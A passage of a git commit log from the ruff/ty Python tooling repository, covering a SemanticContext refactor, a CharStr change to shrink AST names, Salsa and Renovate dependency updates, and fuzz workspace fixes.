name) interned struct that wraps both Python version and search paths.
This was also mostly straightforward.

The hard part was to remove all `db.python_version` calls from type
inference and type operations. Today, we call `db.python_version` where
we need it, but we can't do this anymore. Instead, we have to pass the
Python version down to each function that needs it.

Now, this is not true for all functions. Functions that have access to a
scope (via `Definition`, `Expression` or similar) could retrieve the
Python version from there (because `Scope` stores a `PythonFile`). I
decided against that and, instead established the following policy:

* Explicitly pass the Python version to all semantic functions. 
* The only exception to this are Salsa queries that have exactly one
argument other than `db`. For those, retrieving the Python version from
their `Scope` is allowed for performance reasons.

Ultimately what that means: The context should be initialized at the
query boundary and then not change, unless we cross into another Salsa
query (but assert that the python version does not change).


There are two motivations for this:

* I think it's easier to reason about what Python version a type
operation uses if there's a consistent way of retrieving it (always as
argument)
* At query boundaries, we can assert that the explicitly passed Python
version and the `Scope`'s Python version are identical, before calling
into the query (debug assert).



However, supporting different Python versions now requires that we
parametrize all type operations with the Python version under which the
operation should be performed (in the future, this will be Python
version, search paths, and platforms).

Now, passing `db` and `PythonVersion` as separate arguments not only
results in a huge diff (add another 7k changes on top of the current
diff), is cumbersome, it also is slower. That's why I this PR introduces
a new `SemanticContext` that wraps a `db` and a `PythonVersion` (Happy
to discuss names). The variable is consistently referred to as `ctx` to
reduce the diff (using `context` makes it more likely that lines break).


## Next steps

* Change `SemanticContext` to store a `db` and `SearchPathSettings` to
support different search paths
* After that, change `SemanticContext` to store a `db` and a
`ProgramFile` (which is a `(File, Program)` tuple.
* Use the new infrastructure for scroll support

## Performance

There's currently a 2-3% walltime regression. Codex reports a lower
local regression.


There are some options that we can explore if we think this regression
is too big. However, it would make the model a little more muddy. The
most promising is probably to have two versions of very hot queries.
E.g. `is_redundant_with` could have a `is_redundant_with_project` and
`is_redundant_with_script` query. `is_redundant_with_project` would use
`db.python_version` internally (yes, we'd have to add that back). I
don't like that. Not only does it reintroduce `db.python_version` and
make it very easy that we use it somewhere where we should not.


## Review

I, honestly, tried to split this PR into smaller, reviewable commits.
But I don't think I succeeded. But I also don't think it makes sense to
review this commit line by line. I'm sure there are places where we
still pass `db` where we should pass a `ctx`. I'm sure there are some
call sites where we should retrieve the `python_version` in a different
way. But I'm not sure it's worth finding all these places in a review.
Instead, I'd focus on the overall change. What's your reaction on
`SemanticContext`? That we now need to pass it everywhere? What about my
policy that we use a single `SemanticContext` within a query? Should we
relax this constraint, so that `SemanticIndex` must be passed in fewer
places, if the `PythonVersion` can be retrieved at the relevant call
site (because it has `Scope`)? The downside of that is that it becomes
more difficult to assert that we don't mix programs in a single
inference, but is this something we should really be concerned about? Do
you think the performance regression is to big for this feature?

## Notes

* Make associated tracked methods that don't take `python_version`
normal methods with an inner query instead. The method should take a
`python_version`, and we assert (before calling the query), that the
target's (self's) `python_version` matches the passed python version
2026-08-03 09:46:10 +02:00
Micha Reiser af3a1c243e [ty] Update Salsa to 0.28.1 (#27087) 2026-07-22 08:47:20 +02:00
Charlie Marsh 301b7ed4d6 [ty] Share heap-backed parser names with CharStr (#26594)
## Summary

This PR changes `ruff_python_ast::Name` from a 24-byte `CompactString`
to a 16-byte immutable `CharStr` from
[`astral-sh/char_str`](https://github.com/astral-sh/char_str).

`char_str` is an Astral-maintained fork of
[`lean_string`](https://github.com/ryota2357/lean_string) that provides
compact owned strings with mutable and immutable variants: growable
`CharString` for construction and immutable, exactly allocated `CharStr`
for storage. (It also provides Salsa and get-size features.)

Names up to 16 UTF-8 bytes remain inline, static names remain
allocation-free, and longer names use an exactly sized,
reference-counted allocation with no unused capacity.

Removing eight bytes from every `Name` also shrinks common AST nodes.
For example, `Identifier` and `ExprName` drop from 40 to 32 bytes, while
`ExprAttribute`, `StmtFunctionDef`, `StmtClassDef`, and several other
variants each drop by eight bytes.

The parser interns names that exceed the inline capacity, so repeated
longer names share one backing allocation within a parser invocation.

## Why 16 bytes?

Across the full `mypy_primer` corpus, there 20.8 million name
occurrences:

| UTF-8 length | Occurrences | Share | Unique name/file pairs | Share |
|---|---:|---:|---:|---:|
| 1–16 bytes | 18,955,757 | 91.02% | 3,192,424 | 79.42% |
| 17–24 bytes | 1,348,894 | 6.48% | 529,826 | 13.18% |
| 25+ bytes | 522,376 | 2.51% | 297,575 | 7.40% |
| Total | 20,827,027 | 100% | 4,019,825 | 100% |

The 16-byte cutoff keeps 91% of occurrences inline while saving eight
bytes for every occurrence. The 1–16-byte bucket alone removes 151.6 MB
of handle storage across the corpus.

The tradeoff is the 17–24-byte bucket: `CompactString` stored those
names inline, while `CharStr` allocates once per unique name within a
file. But the interning amortizes that cost when a name repeats. Names
longer than 24 bytes already allocated on `main`; for those names, this
change both reduces the handle size and deduplicates repeated backing
allocations.

## Memory impact

Accounting for the observed per-file multiplicities and structural
sharing, modeled `Name` storage across the corpus changes as follows:

| | `main` | This PR | Difference |
|---|---:|---:|---:|
| `Name` handles and backing storage | 526.18 MB | 366.27 MB | -159.91
MB (-30.4%) |

The current [instrumented memory
report](https://github.com/astral-sh/ruff/pull/26594#issuecomment-4906725175)
shows a consistent reduction in total retained memory:

| Project | `main` | This PR | Difference |
|---|---:|---:|---:|
| flake8 | 29.21 MB | 28.71 MB | -1.69% |
| trio | 71.01 MB | 70.01 MB | -1.41% |
| sphinx | 168.81 MB | 166.82 MB | -1.18% |
| prefect | 454.75 MB | 449.06 MB | -1.25% |

Within those totals, `parsed_module` decreases by roughly 2.1% and
`semantic_index` by 2.4–2.7%. Several name-heavy collections decrease by
considerably more.
2026-07-16 14:53:48 -04:00
Denys ZhakandMicha Reiser 6f361a74a2 [ty] only collect expected types for files open in the editor (#25546)
Closes https://github.com/astral-sh/ty/issues/3376

## Summary

Only collect expected types for files open in the editor

## Test Plan

Added test

---------

Co-authored-by: Micha Reiser <micha@reiser.io>
2026-07-16 11:24:57 +02:00
Charlie Marsh 0ced7436cf Restore the fuzz workspace lockfile (#26868)
## Summary

Restore the fuzz workspace's committed Cargo lockfile and stop ignoring
it.

The fuzz workspace currently resolves dependencies from scratch on every
CI run. This allowed the `get-size2` 0.10.2 release to select
`compact_str` 0.10 alongside Ruff's `compact_str` 0.9 dependency, so
`GetSize` was implemented for a different `CompactString` type and
`cargo fuzz build` stopped compiling.

The lockfile was originally committed when the fuzz harness was
introduced, then removed in #5008 without a documented rationale.
Keeping it committed makes fuzz dependency updates explicit and keeps
the workspace on the compatible `get-size2` 0.10.1 / `compact_str` 0.9.1
pair for now.
2026-07-15 13:40:38 -07:00
Micha Reiser 2022d536f7 [ty] Update Salsa to 0.0.28 (#26663) 2026-07-12 13:34:47 +02:00
Micha Reiser 825509febc [ty] Remove unnecessary dependencies and features (#26358) 2026-06-25 10:34:24 +02:00
Micha Reiser 8e5dc19dab [ty] Update Salsa to 0.27.2 (#26357) 2026-06-25 09:30:35 +02:00
Micha Reiser 9d28986395 [ty] Update Salsa to 0.27.1 (#26319) 2026-06-24 10:03:17 +02:00
Micha Reiser 0d7135f4d2 [ty] Upgrade Salsa (#25545) 2026-06-04 07:46:35 +00:00
Micha Reiser 6e2e14a91d Install salsa from crates.io (#24744) 2026-04-20 19:49:53 +01:00
Micha Reiser ee9088eebf [ty] Add --fix mode (#24097) 2026-04-15 15:08:55 +00:00
Micha Reiser 6b5423fea4 [ty] Move fixes.rs to ty_python_semantic (#24561)
## Summary

This is in preparation for https://github.com/astral-sh/ruff/pull/24097

I want to integrate fixes into mdtests, but `ty_test` doesn't depend on
`ty_project`, and adding this new dependency would create more cyclic
dependencies between crates (not targets, just crates), which r-a
sometimes struggles with.

The solution in this PR is to move `fixes` to `ty_python_semantic`. This
is mostly a trivial change, except that it requires adding a
`check_file` method to `db.`

## Test Plan

`cargo test`
2026-04-14 11:17:53 +02:00
Alex Waygood 461994073e [ty] Break the semantic index out into its own crate (#24471) 2026-04-13 12:39:17 +01:00
renovate[bot]andMicha Reiser 0b4603530e Update Rust crate similar to v3 (#24598)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Micha Reiser <micha@reiser.io>
2026-04-13 08:01:53 +00:00
Micha Reiser f9936e549e [ty] Update Salsa (#24081) 2026-03-20 14:53:23 +00:00
Shaygan Hooshyari 632fde9274 Fix incorrect path for ty_python_semantic in fuzzer (#24052) 2026-03-19 18:22:24 +01:00
Micha ReiserandAria Desires 34d05e2d3e [ty] Make the default database truly statically infallible (#23929)
## Summary

Rebased version of https://github.com/astral-sh/ruff/pull/22056. All
credit goes to @Gankra

## Test Plan

<!-- How was it tested? -->

---------

Co-authored-by: Aria Desires <aria.desires@gmail.com>
2026-03-13 13:54:41 +01:00
renovate[bot] d811ba6efe Update salsa digest to 53421c2 (#23152)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| salsa | dependencies | digest | `e9b9ddd` → `53421c2` |
| salsa | workspace.dependencies | digest | `e9b9ddd` → `53421c2` |

---

### Configuration

📅 **Schedule**: Branch creation - "before 4am on Monday" (UTC),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45NS4yIiwidXBkYXRlZEluVmVyIjoiNDIuOTUuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiaW50ZXJuYWwiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-02-09 09:44:00 +01:00
renovate[bot] 344220654a Update salsa digest to e9b9ddd (#23016)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| salsa | dependencies | digest | `0946cbd` → `e9b9ddd` |
| salsa | workspace.dependencies | digest | `0946cbd` → `e9b9ddd` |

---

### Configuration

📅 **Schedule**: Branch creation - "before 4am on Monday" (UTC),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45Mi4xIiwidXBkYXRlZEluVmVyIjoiNDIuOTIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiaW50ZXJuYWwiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-02-03 11:01:49 +01:00
Amethyst Reese ffa07b57f8 Apply formatting to markdown code blocks (#22470)
Adds initial support for formatting Python code blocks inside Markdown
files.

- Adds `Markdown` source types/kinds
- Maps `.md` file extension to `Markdown` by default
- Uses simple regex adapted from blacken-docs to find and format fenced
python code blocks
- Dedents contents before formatting, and reapplies indent from fenced
<code>```py</code> header
- Selects `Python` vs `Stub` options based on language label on code
block
- Silently skips formatting for any code block with syntax errors or
that produce formatting errors.
- CLI tests formatting via both stdin and from filesystem
- Requires running with `--preview`, and otherwise emits formatting
error when given a markdown file
- Requires a user to `extend-include = ["**/*.md"]` if they want to
format markdown files by default

Limitations:

- Returns a formatting error if run with a range of any sort
- Ignores implicit code blocks (no code fence)
- Doesn't yet support `~~~` fences, arbitrary fence lengths, or code
blocks inside blockquotes

Issue #3792
2026-01-27 17:26:09 -08:00
Micha Reiser e7fb612ff4 [ty] Update salsa to fix out-of-order query validation (#22498) 2026-01-23 08:56:45 +01:00
Micha Reiser 65b7fc9e73 [ty] Support overriding respect-type-ignore-comments (#22615) 2026-01-19 08:09:42 +00:00
Charlie Marsh 29064034ba Use rustfmt directly in prek (#22508)
## Summary

Apparently this is about ~18x faster (2.25s → 0.12s) for a single-file
change, and ~2x faster (2.36s → 1.25s) for `prek run -a`.
2026-01-12 08:59:20 -05:00
Micha Reiser b3cde98cd1 [ty] Update salsa (#22473) 2026-01-09 09:21:45 +01:00
renovate[bot] 86d2fc8531 Update salsa digest to 309c249 (#22251)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-12-29 17:32:45 +01:00
Micha Reiser d6a7c9b4ed [ty] Add respect-type-ignore-comments configuration option (#22137) 2025-12-23 08:36:51 +01:00
Micha Reiser 884e83591e [ty] Update salsa (#22072) 2025-12-22 13:22:54 +01:00
Micha Reiser b4c2825afd [ty] Move module resolver code into its own crate (#22106) 2025-12-21 11:00:34 +00:00
Alex Waygood f57917becd fix typo in fuzz/README.md (#21963) 2025-12-13 18:21:46 +00:00
Jack O'Connor aaadf16b1b [ty] bump dependencies to pull in Salsa support for ordermap (#21854) 2025-12-09 19:08:03 -08:00
renovate[bot] c61e885527 Update salsa digest to 59aa107 (#21708)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-12-01 08:02:44 +01:00
Carl Meyer f495c6d4ae [ty] upgrade salsa (#21575) 2025-11-22 11:46:57 +01:00
renovate[bot] 09deeabda5 Update salsa digest to a885bb4 (#21486)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-11-17 08:05:03 +01:00
Micha Reiser 76127e5fb5 [ty] Update salsa (#21281) 2025-11-05 22:15:01 +00:00